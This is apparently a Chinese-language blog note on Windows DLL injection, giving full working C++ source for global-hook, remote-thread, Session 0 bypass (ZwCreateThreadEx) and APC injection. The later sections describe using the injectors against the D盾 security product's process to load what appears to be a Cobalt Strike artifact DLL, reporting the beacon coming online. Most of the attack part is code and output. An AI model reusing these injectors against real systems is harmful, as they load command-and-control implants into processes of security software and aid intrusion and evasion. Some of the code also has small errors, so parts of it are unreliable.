Windows注入技术笔记

17 阅读15分钟

全局钩子注入

Windows中的大部分应用程序依赖于消息机制,其中含有消息过程函数,而Windows操作系统的钩子机制用于截获和监视系统中的消息。

依据钩子的作用范围,可以分为局部钩子和全局钩子:

  • 局部钩子:针对某个线程

  • 全局钩子:作用于整个系统的消息

WinAPI介绍

关于全局钩子注入Win32 API介绍:

HHOOK WINAPI SetWindowsHookEx{
    _In_ int idHook,		// 钩子程序类型
    _In_ HOOKPROC lpfn,		// 指向钩子程序的函数指针
    _In_ HINSTANCE hMod,	// 已加载的DLL或EXE实例的句柄,HMODULE句柄是通过LoadLibrary或GetModuleHandle等函数加载模块时返回
    _In_ DWORD dwThreadId	// 与钩子相关的线程标识符,如果参数为0表示与系统中所有线程相关联
}
// 返回值:
// 设置成功则返回钩子过程的句柄
// 设置失败则返回值为NULL

将程序定义的钩子函数(HOOKPROC lpfn)安装到挂钩链中,安装钩子程序可以监视系统是否存在某些类型的事件,这些事件与特定线程或调用线程所在桌面中的所有线程相关联

操作过程

生成DLL文件

新建一个DLL空项目

预编译头pch.h中设置

该文件是预编译标头文件,仅仅编译一次

#ifndef PCH_H
#define PCH_H

// 添加要在此处预编译的标头
#include "framework.h"
// 设置钩子函数
extern "C" _declspec(dllexport) int SetHook();	
// 钩子回调函数
extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
// 卸载钩子函数
extern "C" _declspec(dllexport) BOOL UnsetHook();
#endif //PCH_H

在pch.cpp文件中实现上述函数

// pch.cpp: 与预编译标头对应的源文件

#include "pch.h"
#include <Windows.h>
#include <stdio.h>

// 当使用预编译的头时,需要使用此源文件,编译才能成功。

extern HMODULE g_hDllModule;	// 已经加载的DLL的句柄

// 为DLL创建一个数据段,然后再对程序的链接器进行设置,把指定的数据段链接为共享数据段
#pragma	data_seg("mydata")	// 相当于use mydata的这种感觉
HHOOK g_hHook = NULL;		// Hook句柄(注意与HMODULE的区别)
#pragma data_seg()			// 恢复默认的数据段设置
#pragma comment(linker, "/SECTION:mydata,RWS")	// 告诉链接器设置为RWS

// 回调函数
LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) {
	return ::CallNextHookEx(g_hHook, code, wParam, lParam);	
    // 将当前钩子传递给钩子链中的下一个钩子
}

// 设置钩子
BOOL SetHook() {
	g_hHook = SetWindowsHookEx(WH_GETMESSAGE,
		(HOOKPROC)GetMsgProc, g_hDllModule, 0);
	if (g_hHook == NULL) {
		return FALSE;
	}
	return TRUE;
}

// 卸载钩子
BOOL UnsetHook() {
	if (g_hHook)
	{
		// 直接 :: 表示从全局作用域解析
		::UnhookWindowsHookEx(g_hHook);
	}
	return TRUE;
}

然后在DLL的入口文件dllmain.cpp中设置

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

HMODULE g_hDllModule = NULL;

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:	// 由于进程启动或调用LoadLibrary, DLL被加载到当前进程的虚拟地址空间中, 会进入如下路由
    {
        g_hDllModule = hModule;
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

在Release,X86下生成:

image-20240127220704720

可以发现对应文件夹下生成dll文件

image-20240127220737886

测试

新建一个CPP空项目

// 全局钩子注入
#include <iostream>
#include <Windows.h>

int main()
{
	// 声明函数指针, 返回值为BOOL, 参数值为空
	typedef BOOL(*typedef_SetGlobalHook)();
	typedef BOOL(*typedef_UnsetGlobalHook)();
	

	HMODULE hDll = NULL;		// DLL句柄
	typedef_SetGlobalHook SetGlobalHook = NULL;	// 设置全局钩子的句柄
	typedef_UnsetGlobalHook UnsetGlobalHook = NULL;	// 卸载全局钩子的句柄
	BOOL bRet = FALSE;

	do {
		// 加载DLL,获得句柄实例
		hDll = ::LoadLibraryW(TEXT("C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll"));
        // 异常检测
		if (hDll == NULL) {
			printf("LoadLibrary Error[%d]\n", ::GetLastError());
			break;
		}
		
        // 从hDll句柄对应文件中加载SetHook地址,并把该地址位置上的数据视为typedef_SetGlobalHook函数(返回函数指针)
		SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");
		if (SetGlobalHook == NULL) {
			printf("GetProcAddress Error[%d]\n", ::GetLastError());
			break;
		}

		bRet = SetGlobalHook();		// 运行函数 -- 设置全局钩子
		if (bRet) {
			printf("SetGlobalHook OK.\n");
		}
		else {
			printf("SetGlobal Hook Error.\n");
		}

		system("pause");
		
        // 同理获取卸载全局钩子
		UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");
		if (UnsetGlobalHook == NULL) {
			printf("GetProcAddress Error[%d]\n", ::GetLastError());
			break;
		}
		
        // 卸载全局钩子
		UnsetGlobalHook();
		printf("UnsetGlobalHook OK. \n");
	} while (FALSE);

	system("pause");
	return 0;
}

image-20240127223514057

远程线程注入

远线程注入是指一个进程在另一个进程中创建线程的技术

核心函数主要如下:

  • LoadLibrary:将指定的DLL文件动态加载到进程空间

  • CreateRemoteThread:在目标进程的虚拟地址空间中创建运行的线程

大致原理:

  • 获得LoadLibrary函数的地址

    虽然Windows的ASLR机制会使得LoadLibrary在每次开机时的地址不同,但对于同个时候Windows的kernel32.dll的加载基址在各个进程中都是相同的,因此LoadLibrary也是相同的。

  • 写入注入的DLL路径字符串

    通过OpenProcess打开进程获得句柄,然后调用VirtualAllocEx在目标进程中申请一块内存空间,再调用WriteProcessMemory将恶意DLL路径写入到目标进程的空间地址中

WinAPI介绍

  • OpenProcess

打开现有的本地进程,获得句柄

HANDLE WINAPI OpenProcess(
	_In_ DWORD dwDesiredAccess,		// 
    _In_ BOOL bInheritHandle,		// True => 将继承原本进程中已有的句柄
    _In_ DWORD dwProcessId		// 要打开的进程PID
)
  • VirtualAllocEx

对指定进程的虚拟地址空间内保留、提交或更改内存的状态

LPVOID WINAPI VirtualAllocEx(
	_In_ HANDLE  hProcess,	// 进程句柄,句柄必须具有PROCESS_VM_OPERATION的权限
    _In_opt_ LPVOID lpAddress,	// 指定要分配页面所需起始地址的指针,如果为NULL则表示自动分配内存
    _In_ SIZE_T dwSize,	// 分配的内存大小,以字节为单位
    _In_ DWORD flAllocationType,	// 内存分配类型
	_In_ DWORD flProtect	// 要分配的页面区域的内存保护类型
)
  • WriteProcessMemory

在指定进程的指定可访问的内存区域写入数据

BOOL WINAPI WriteProcessMemory(
	_In_ HANDLE hProcess,	// 目标进程的句柄
    _In_ LPVOID lpBaseAddress,	// 要写入数据的内存区域的基地址
    _In_ LPCVOID lpBuffer,	// 存储数据的缓冲区的基地址
    _In_ SIZE_T nSize,	// 要写入的字节数
    _Out_ SIZE_T *lpNumberOfBytesWritten
)
    // 成功则返回值不为NULL
  • CreateRemoteThread

在指定进程中创建运行的线程

HANDLE WINAPI CreateRemoteThread(
	_In_	HANDLE	hProcess,	// 目标进程的句柄
    _In_	LPSECURITY_ATTRIBUTES	lpThreadAttributes,	// 指向SECURITY_ATTRIBUTES结构的指针,指定了新线程的安全描述符,并确定了子进程是否可以继承返回的句柄
    _In_	SIZE_T	dwStackSize,	// 堆栈的初始大小
	_In_	LPTHREAD_START_ROUTINE	lpStartAddress,		// 指向由线程执行类型为LPTHREAD_START_ROUTINE的应用程序定义的函数指针,并表示了远程进程的起始地址,该函数必须存在于远程进程中
    _In_	LPVOID	lpParameter,	// 指向要传递给线程函数的变量的指针
    _In_	DWROD	dwCreationFlags,	// 控制线程创建的标志,若为0则表示线程在创建后立即执行
    _Out_	LPDWORD	lpThread	// 指向了接收线程标识的变量的指针,如果此参数为NULL,则不返回线程标识符
)

操作过程

生成DLL文件

dllmain.cpp文件

#include "pch.h"

BOOL APIENTRY DllMain(
    HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call) 
    {
        case DLL_PROCESS_ATTACH:
            MessageBox(NULL, L"success!", L"RemoteThreadInjection", MB_OK);
        case DLL_THREAD_ATTACH:
            MessageBox(NULL, L"success!", L"RemoteThreadInjection", MB_OK);
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    };
    return TRUE;

}

然后直接生成dll

测试

核心函数在于远程线程注入_RemoteThreadInjection中:

  • 函数原型设计:我们需要得知远程线程注入的目标进程PID以及执行线程的对应DLL文件位置(采用宽字符串)

    DWORD _RemoteThreadInjection(DWORD _Pid, LPCWSTR DllName)

  • OpenProcess打开进程获得句柄

    hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid); // 异常检查 if (hprocess == NULL) { printf("OpenProcess Error\n"); return FALSE; }

  • VirtualAllocEx API申请内存,该内存存储

_tcslen(DllName)截取的宽字符串长度不包括字符串终止符,所以需要加1,并乘上宽字符的大小以计算出字节数

// 在注入的进程中申请内存
_Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);
pDllAddr = ::VirtualAllocEx(hprocess,NULL,_Size,
    MEM_COMMIT, PAGE_READWRITE);	
    // 第二个参数表示分配页面所需起始地址的指针
    // 第四个参数是指内存分配类型,MEM_COMMIT表示在磁盘的分页文件和整体内存中,为指定的预留内存页分配内存
    // 第五个参数表示要分配的页面区域的内存保护,如果yem

if (pDllAddr == NULL) {
    printf("Process Memory Allocation Error\n");
    return FALSE;
}
  • 申请完之后就是使用WriteProcessMemory写数据

    BOOL isWriteSuccess = ::WriteProcessMemory(hprocess, pDllAddr, DllName, _Size, NULL);

  • 获取LoadLibraryW的地址

    pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"),"LoadLibraryW");

  • 创建线程,并传入参数

    hThread = ::CreateRemoteThread(hProcess, NULL, 0, addr, pDllAddr, 0, NULL);

  • 释放资源等操作

完整源码:

// 远程线程注入
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include "tchar.h"		// 宽字符

char DLL_PATH[] = "C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll";


// LPCWSTR: long pointer to a wide string 
DWORD _RemoteThreadInjection(DWORD _Pid, LPCWSTR DllName) {
	// 变量声明
	HANDLE hprocess;	// 目标进程的句柄
	HANDLE hThread;
	DWORD _Size = 0;
	BOOL Write = 0;
	LPVOID pDllAddr = NULL;		// 申请内存空间
	DWORD DllAddr = 0;
	FARPROC pThread;

	// 打开进程
	hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
	// 异常检查
	if (hprocess == NULL) {
		printf("OpenProcess Error\n");
		return FALSE;
	}
	
	// 在注入的进程中申请内存
	_Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);
	pDllAddr = ::VirtualAllocEx(hprocess,NULL,_Size,
		MEM_COMMIT, PAGE_READWRITE);	
		// 第二个参数表示分配页面所需起始地址的指针
		// 第四个参数是指内存分配类型,MEM_COMMIT表示在磁盘的分页文件和整体内存中,为指定的预留内存页分配内存
		// 第五个参数表示要分配的页面区域的内存保护,如果yem

	if (pDllAddr == NULL) {
		printf("Process Memory Allocation Error\n");
		return FALSE;
	}

	// 向申请的内存写入数据
	BOOL isWriteSuccess = ::WriteProcessMemory(hprocess, pDllAddr, DllName, _Size, NULL);
	if (isWriteSuccess == FALSE) {
		printf("Write Process Memory Error\n");
		return FALSE;
	}

	// 获取LoadLibraryW(支持宽字符)函数地址
	pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
	LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;	
		// LPTHREAD_START_ROUTINE 是一个函数指针类型,用于指定线程的入口点函数

	// 在目标进程中创建线程
	hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pDllAddr, 0, NULL);
		// hprocess指向了目标进程
		// addr表示LoadLibrary的LPTHREAD_START_ROUTINE函数指针
		// pDllAddr表示传递给线程函数的变量的对应的指针(传给LoadLibrary的变量)
	if (hThread == NULL) {
		printf("Create Remote Thread Error\n");
		return FALSE;
	}
	
	//等待线程函数结束,获得退出码
	WaitForSingleObject(hThread, -1);
	GetExitCodeThread(hThread, &DllAddr);

	// 释放DLL空间
	VirtualFreeEx(hprocess, pDllAddr, _Size, MEM_DECOMMIT);

	// 关闭句柄
	::CloseHandle(hprocess);
	return TRUE;
}

int main() {
	DWORD _PID = 1220;		// 根据实际进程的PID填入
	_RemoteThreadInjection(_PID, L"C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll");
}

​​

注入之前:

image-20240129154125529

注入之后:可以观察到其实不止多了DLLInjection.dll文件

image-20240129154201976

image-20260719141347276

突破SESSION 0 隔离的远线程注入

在远程线程注入中,将目标进程改为一些系统服务进程时会发现失败,这是由于存在SESSION 0隔离的安全机制,传统的远程线程注入并不能突破SESSION 0隔离

image-20240129154717719

Session 0隔离机制

参考:techcommunity.microsoft.com/t5/ask-the-…

在早期Windows版本中(WinXP,WinServer2003以及之前),所有服务都与登录到控制台的第一个用户(超级管理员)处于同一个会话中,该会话即所谓的Session 0,此时其他非系统服务等同于拥有超级管理员权限来执行,那么此时遭遇劫持就直接最高权限了。

此后在Windows内核6.0版本后引入了Session 0隔离机制,只有系统进程和服务才会处于session 0中运行,用户登录到会话1,后续用户登录到2,3 ...

Session 0隔离机制使得当创建一个进程后不立即执行,而是先挂起进程,在查看运行的进程所在的会话层之后再决定是否恢复进程运行。

image-20260719141716947

WinAPI介绍

原理与远程线程注入的原理大致相同,但是使用的WinAPI是比CreateRemoteThread更为底层的ZwCreateThreadEx函数来创建线程

// win64
DWORD WINAPI ZwCreateThreadEx{
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    ULONG CreateThreadFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    LPVOID pUnkown
}

// win32
DWORD WINAPI ZwCreateThreadEx{
 	PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    BOOL CreateSuspended,
    DWORD dwStackSize,
    DWORD dw1,
    DWORD dw2,
    LPVOID pUnknown
}

操作过程

// 突破session 0隔离机制注入DLL

#include <Windows.h>
#include <stdio.h>
#include <iostream>
//#include "tchar.h"


// 使用typedef对ZwCreateThreadEx创建函数指针
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    ULONG CreateThreadFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    BOOL CreateSuspended,
    DWORD dwStackSize,
    DWORD dw1,
    DWORD dw2,
    LPVOID pUnkown);
#endif





BOOL EnableDebugPrivilege()
{
	HANDLE hToken;
	BOOL flag = FALSE;
	// OpenProcessToken 打开与进程关联的token
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount = 1;
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
		
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

        int valueGetLastError = GetLastError();

		flag = (valueGetLastError == ERROR_SUCCESS);
		CloseHandle(hToken);
	}
	return flag;
}



BOOL BypassSession0Injection(DWORD _PID, const char* DLLPath) {
    // 变量声明
    HANDLE hProcess = NULL;
    SIZE_T dwSize = 0;
    LPVOID pDllAddr = NULL;
    FARPROC LoadLibraryA_Addr = NULL;
    HANDLE hRemoteThread = NULL;        // 远程线程
    DWORD dwStatus = 0;
    
	// 提权 -- 启用SeDebugPrivilege权限
    //BOOL isPrivieged = EnableDebugPrivilege();
    //if (isPrivieged == FALSE) {
    //    printf("Can't get SeDebugPrivilege!\n");
    //    return FALSE;
    //}

                        // 由于具有SeDebugPrivilege,所以可以对系统服务设置为PROCESS_ALL_ACCESS
    hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _PID);
    if (hProcess == NULL) {
        printf("Open Process Error!\n");
        return FALSE;
    }

    // 申请内存
        // 申请内存的大小
    dwSize = ::strlen(DLLPath) + 1;
            // ::lstrlen    对于宽字符串
            // ::strlen    对于字符串
        // 申请,返回基地址
    pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);

    if (pDllAddr == NULL) {
        printf("Virtual Allocation Error\n");
        return FALSE;
    }
    

    // 写入DLL路径
    BOOL isWriteSuccess = ::WriteProcessMemory(hProcess, pDllAddr, DLLPath, dwSize, NULL);
    if (isWriteSuccess == FALSE) {
        printf("Write Process Memory Error\n");
        return FALSE;
    }

    // 加载ntdll.dll
    HMODULE hNtdDll = ::LoadLibrary(L"ntdll.dll");

    if (hNtdDll == NULL)
    {
        printf("Load ntdll.dll Error\n");
    }

    // 获取LoadLibraryA函数地址
    LoadLibraryA_Addr = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");

    if (LoadLibraryA_Addr == NULL)
    {
        printf("Get the address of LoadLibrary Error!\n");
        return FALSE;
    }


    // 获得ZwCreateThreadEx函数地址
        // 使用函数指针类型的变量来接收
    typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdDll, "ZwCreateThreadEx");
    
    if (ZwCreateThreadEx == NULL) {
        printf("Get the address of LoadLibrary Error!\n");
        return FALSE;
    }


    // 使用ZwCreateThreadEx创建远程线程,实现DLL注入
    dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS,
        NULL, hProcess, (LPTHREAD_START_ROUTINE)LoadLibraryA_Addr, pDllAddr,
        0, 0, 0, 0, NULL);

    if (hRemoteThread == NULL) {
        printf("ZwCreateThread Error!\n");
        return FALSE;
    }


    // 关闭句柄
    ::CloseHandle(hProcess);        // 对于HANDLE
    ::FreeLibrary(hNtdDll);         // 对于HModule
    
    return TRUE;
}


int main()
{

#ifdef _WIN64
    BOOL flag = BypassSession0Injection(3788, "C:\\Users\\xx\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll");
#else
    BOOL flag = BypassSession0Injection(4740, "C:\\Users\\xx\\Desktop\\artifact_x86.dll");
#endif
    if (flag == FALSE) {
        MessageBox(NULL, L"fail!", L"BypassSession0Injection", MB_OK);
    }
    else {
        MessageBox(NULL, L"success!", L"BypassSession0Injection", MB_OK);
    }
    return 0;
}

选择D盾开刀

image-20240129225520558

CS上线

image-20260719134812263

APC注入

APC机制

在Windows系统中,APC机制是一种并发机制,用于异步IO或者定时器,每个线程都会维护一个线程APC队列,通过QueueUserAPC函数把一个APC函数压入APC队列中。当处于用户模式的APC压入线程APC队列后,该线程并不直接调用APC函数,除非该函数处于可通知的状态,调用顺序为先入先出。

WinAPI介绍

QueueUserAPC函数:将用户模式中的异步过程调用(APC)对象添加到指定线程的APC队列中

DWORD WINAPI QueueUserAPC(
	_In_ PAPCFIMC pfnAPC,
	_In_ HANDLE hThread,
    _In_ ULONG_PTR dwData
)	

操作过程

  • 通过OpenProcess函数打开目标进程,获取目标进程的句柄

  • 遍历线程快照,获取所有线程ID

  • 调用VirtualAllocEx函数在目标进程中申请内存,再调用WriteProcessMemory写入DLL路径

  • 遍历获取的线程ID,并调用OpenThread函数以THREAD_ALL_ACCESS访问权限打开线程,获取线程句柄

    并调用QueueUserAPC函数向每个线程插入APC函数,设置APC函数的地址为LoadLibraryA函数的地址,APC函数参数为上述DLL路径地址

  • 唤醒任意线程,即可执行APC,完成DLL的APC注入

    // APCInjection.cpp

    #include #include <Windows.h> #include <TlHelp32.h>

    void PrintError(const char* errContext) { char Error[MAX_PATH] = { 0 }; ::sprintf_s(Error, "%s Error[%d]\n", errContext, ::GetLastError()); ::MessageBoxA(NULL, Error, "ERROR", MB_OK); }

    // 获取指定进程的所有线程 BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength) {

    // 申请空间
    DWORD dwThreadIdListLength = 0;		// 线程数组的索引
    DWORD dwThreadIdListMaxCount = 2000;	// 最大线程数
    LPDWORD pThreadIdList = NULL;	// 链表的头部
    	// LPDWORD: 指向DWORD的指针
    HANDLE hThreadSnap = INVALID_HANDLE_VALUE;	// 线程句柄
    	
    pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    								// NULL未指定起始地址
    if (pThreadIdList == NULL) {
    	return FALSE;
    }
    
    // 初始化为0
    RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
    
    THREADENTRY32 th32 = { 0 };
    
    // 拍摄快照
    hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
    
    if (hThreadSnap == INVALID_HANDLE_VALUE)
    {
    	return FALSE;
    }
    
    // 结构的大小
    th32.dwSize = sizeof(THREADENTRY32);
    
    
    // 遍历所有THREADENTRY32结构,按顺序填入数组
    BOOL bRet = Thread32First(hThreadSnap, &th32);
    while(bRet)
    {
    	if(th32.th32OwnerProcessID == th32ProcessID)
    	{
    		if (dwThreadIdListLength >= dwThreadIdListMaxCount)
    		{
    			break;
    		}
    		pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
    	}
    	bRet = Thread32Next(hThreadSnap, &th32);
    }
    
    *pThreadIdListLength = dwThreadIdListLength; // 捕获的线程快照个数
    *ppThreadIdList = pThreadIdList; // 线程地址的数组
    
    return TRUE;
    

    }

    BOOL APCInjection(HANDLE hProcess, CHAR* wzDLLFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength) { // (指定进程, DLL路径, 线程链表的头部, 链表长度)

    // 申请内存
    PVOID lpAddr = NULL;
    SIZE_T page_size = 4096;
    
    lpAddr = ::VirtualAllocEx(hProcess, NULL, page_size, 
    	MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    if (lpAddr == NULL)
    {
    	PrintError("VirtualAllocEx - Error\n\n");
    	// 释放空间
    	VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
    	// 关闭
    	CloseHandle(hProcess);
    	return FALSE;
    }
    
    // 将DLL路径写入到内存中
    BOOL isWriteSuccess = ::WriteProcessMemory(hProcess, lpAddr,
    	wzDLLFullPath, (strlen(wzDLLFullPath) + 1) * sizeof(wzDLLFullPath), NULL);
    
    if (isWriteSuccess == FALSE)
    {
    	PrintError("WriteProcessMemory - Error\n\n");
    	VirtualFreeEx(hProcess, lpAddr, page_size, MEM_COMMIT);
    	CloseHandle(hProcess);
    	return FALSE;
    }
    
    // 获得LoadLibraryA的地址
    PVOID LoadLibraryAddress = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
    	// PVOID: void*
    
    // 遍历线程链表, 插入APC
    float fail = 0;
    for (int i = dwThreadIdListLength - 1; i >= 0; i--) {
    	HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
    	if (hThread)
    	{
    		// 插入APC
    		if (!::QueueUserAPC((PAPCFUNC)LoadLibraryAddress, hThread, (ULONG_PTR)lpAddr)) {
    			fail++;
    		}
    		// 关闭线程句柄
    		::CloseHandle(hThread);
    		hThread = NULL;
    	}
    }
    
    printf("Total Thread: %d\n", dwThreadIdListLength);
    printf("Total Failed: %d\n", (int)fail);
    
    float FailRate = dwThreadIdListLength / fail;
    
    if ((int)fail == 0 || FailRate > 0.5) {
    	printf("Successful! APC Injection!\n");
    	return TRUE;
    }
    else {
    	printf("Fail!\n");
    	return FALSE;
    }
    

    }

    int main() {

    DWORD PID = 10544;
    CHAR wzDllFullPath[MAX_PATH] = { 0 };
    LPDWORD pThreadIdList = NULL;
    DWORD dwThreadIdListLength = 0;
    

    #ifdef _WIN64 strcpy_s(wzDllFullPath, "C:\Users\xx\Desktop\artifact_x86_apc.dll"); #else strcpy_s(wzDllFullPath, "C:\Users\xx\Desktop\artifact_x86_apc.dll"); #endif

    BOOL isGetProcessThreadList = GetProcessThreadList(PID, &pThreadIdList, &dwThreadIdListLength);
    if (!isGetProcessThreadList)
    {
    	printf("Can't list the threads\n");
    	exit(0);
    }
    
    // 打开句柄
    HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, PID);
    
    if (hProcess == NULL) {
    	printf("Failed to open Process\n");
    	return FALSE;
    }
    
    // 注入
    BOOL isInjectSuccess = APCInjection(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength);
    if (!isInjectSuccess) {
    	printf("Failed to inject DLL\n");
    	return FALSE;
    }
    
    return 0;
    

    }

拿D盾开刀:

image-20240131153206368

还是CS上线

image-20260719135011798